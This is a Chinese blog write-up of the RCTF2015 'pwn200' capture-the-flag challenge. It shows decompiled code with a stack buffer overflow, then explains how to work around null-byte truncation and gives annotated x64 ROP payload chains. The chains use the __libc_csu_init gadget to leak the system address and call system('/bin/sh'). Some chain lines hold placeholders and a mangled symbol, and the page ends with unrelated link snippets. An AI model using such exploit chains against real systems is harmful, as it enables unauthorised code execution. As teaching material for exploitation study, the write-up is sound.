RCTF2015 pwn试题分析

pwn200

漏洞给的很明显,先是读到了main的局部数组中,然后在子函数中向子函数的局部数组栈里复制。

总体思路是leak system的地址,然后再向一个固定地址写入/bin/sh,最后执行system函数

leak使用pwn库的DynELF实现,整体使用rop链。

 1 //ida伪代码
 2 int __fastcall echo(__int64 a1)
 3 {
 4   char s2[16]; // [sp+10h] [bp-10h]@2
 5
 6   for ( i = 0; *(_BYTE *)(i + a1); ++i )
 7     s2[i] = *(_BYTE *)(i + a1);
 8   s2[i] = 0;
 9   if ( !strcmp("ROIS", s2) )
10   {
11     printf("RCTF{Welcome}", s2);
12     puts(" is not flag");
13   }
14   return printf("%s", s2);
15 }

这里是把数据复制过来,但是他的判断条件是byte!=‘\x00‘,就是说如果有‘\x00‘就会停止复制。

这个就很蛋疼,因为肯定会有00啊。00这个是无法避免的。

先说一下,这道题是x64环境+nx保护。就是说可以用通用gadget来实现rop的。

如果不考虑那个截断的事情的话exp是这样的,

exp=‘A‘*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

exp+=p64(0) #令pop rbx为0,使得call正确执行

exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

exp+=p64([email protected]) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

exp+=p64(8) #pop r13 3号参数了

exp+=p64(leak adress)#pop r14 2号参数了

exp+=p64(1)#pop r15 1号参数了    

exp+=p64(0x0400880)#这个就跳去执行call了

exp+=‘A‘ * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd) #从头开始了

上面那个就是正常的利用__libc_csu_init的通用跳板进行rop的方法。我们看一下这样行不行?明显不行会断在exp+=p64(0)这里。但是由于main栈里也有,就再构造一个pop4ret去读main的栈了。

这样就可以成功的不受‘\x00‘限制了。不过我觉得这个应该是设计的比较好,因为如果距离不是32字节是96字节怎么办?不会有pop12ret吧?

接下来的任务就是构造rop链,实现写入/bin/sh和执行sysem了,这时假设我们已经leak出system的地址了。

exp=‘A‘*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

exp+=p64(0) #令pop rbx为0,使得call正确执行

exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

exp+=p64(system) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

exp+=p64(8) #pop r13 3号参数了

exp+=p64(save adress)#pop r14 2号参数了

exp+=p64(1)#pop r15 1号参数了    

exp+=p64(0x0400880)#这个就跳去执行call了

exp+=‘A‘ * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd)# 可见套路都是一样的

注意要把leak 出来的system写到一个可知的地址才可以使用。

最后再来一遍

exp=‘A‘*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

exp+=p64(0) #令pop rbx为0,使得call正确执行

exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

exp+=p64(save adress) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

exp+=p64(0) #pop r13 3号参数了

exp+=p64(0)#pop r14 2号参数了

exp+=p64(save adress+8)#pop r15 1号参数了    

exp+=p64(0x0400880)#这个就跳去执行call了

exp+=‘A‘ * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd)# 可见套路都是一样的

时间: 2024-10-14 07:39:15

RCTF2015 pwn试题分析的相关文章

ZCTF2015 pwn试题分析

ZCTF的pwn赛题分析, PWN100 这道题与SCTF的pwn100玩法是一样的,区别在于这个要过前面的几个限制条件.不能触发exit(0).否则就不能实现溢出了. 依然是触发canary来leak出内存中的flag. note1 这次ZCTF的题是以一个系列出的,以下三个题都是同一个程序. 首先看了一下程序的大概流程,这个是记事本程序. 1.New note\n2.Show notes list\n3.Edit note\n4.Delete note\n5.Quit\noption--->

SCTF 2015 pwn试题分析

Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码,一脸懵逼.后来看了下汇编才明白是怎么回事. 解密直接打表就可以,也可以写逆算法. pwn1 用checksec看了一下保护机制,有canary+nx保护.漏洞是一个简单的栈溢出,但是没有办法劫持程序的流程. 因为flag已经被读到了内存中了,所以就想到去leak出来.后来知道有一种ssp leak

CSDN 夏令营程序 试题分析 (2)

题目:若需要在O(nlogn)(以2为底)的时间内完成对数组的排序,且要求排序是稳定的,则可选择的排序方法是: A.快速排序       B.堆排序            C.归并排序  D.直接插入排序 首先咱们来看一下这个表,稳定排序的有直接插入排序.冒泡排序.归并排序和基数排序. 直接插入排序: 最好的情况下:正序有序(从小到大),这样只需要比较n次,不需要移动.因此时间复杂度为O(n) 最坏的情况下:逆序有序,这样每一个元素就需要比较n次,共有n个元素,因此实际复杂度为O(n-2) 平均

关于阿里的一道笔试题分析

其题目如下: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #pragma pack(2) class A { public:     int i;     union U     {         char buff[13];         int i;     }u;     void foo() {    }     typedef char* (*f)(void*);     enum{red, green, blue} color; }a; class A

试题分析(第三套)

解析:B.需求规格说明阐述一个软件系统必须提供的功能和性能以及它所要考虑的限制条件,它不仅是系统测试和用户文档的基础,也是所有子系列项目规划.设计和编码的基础.它应该尽可能完整地描述系统预期的外部行为和用户可视化行为.除了设计和实现上的限制,软件需求规格说明不应该包括设计.构造.测试或工程管理的细节. 解析:D . 解析:A.应改为创建与之相关的Servlet方法 解析:B.异常类型是ClassNotFoundException 试题分析(第三套)

2014.3.29阿里巴巴暑期实习笔试题分析

参考:http://blog.csdn.net/iloveyoujelly/article/details/22941531 下面中的[分析]是我给出的. 2014.3.29阿里巴巴暑期实习笔试题分析 一.单选 1.假设一个主机ip为192.168.5.121,子网掩码为255.255.255.248,则该主机的网络号部分(包括子网号部分)为-- A.192.168.5.12  B 192.168.5.121   C 192.168.5.120   D 192.168.5.32 参考答案 C [

CSDN 夏令营程序 试题分析

题目如下: 正确修改后的程序: #include <iostream.h> //using namespace std; class BASE { char c; public: BASE(char n):c(n){} virtual~BASE() {cout<<c;} }; class DERIVED:public BASE { char c; public: DERIVED(char n):BASE(n+1),c(n){} ~DERIVED(){cout<<c;}

CSDN 夏令营程序 试题分析 (3)

首先大家先来看题目: 分析: 三维数组存储以行为主序列,计算公式如下: Loc(Ai,j,k)=Loc(Ac1c2c3)+[(i-c1)V2V3+(j-c2)V3+(k-c3)]*L 其中c1.c2.c3分别为各维的下界,V1.V2.V3是各维度的元素个数,L是元素长度. 可以知道:V1=8,V2=9,V3=7 带入数据:Loc(4,2,3)=78+[(4-1)*9*7+(2+2)*7+(3-0)]*4=220*4+78=958 CSDN 夏令营程序 试题分析 (3)

Wikioi上的C语言试题分析【2014.7.22】

Question [1] 题目描述 Description 输入两个整数A和B,输出他们的和 输入描述 Input Description 输入为一行,包含两个整数A,B.数据保证A与B都在2^31-1的范围内 输出描述 Output Description 输入A与B的和,数据保证A与B的和在2^31-1的范围内 样例输入 Sample Input 1 3 样例输出 Sample Output 4 pass code: #include <stdio.h> int main() { int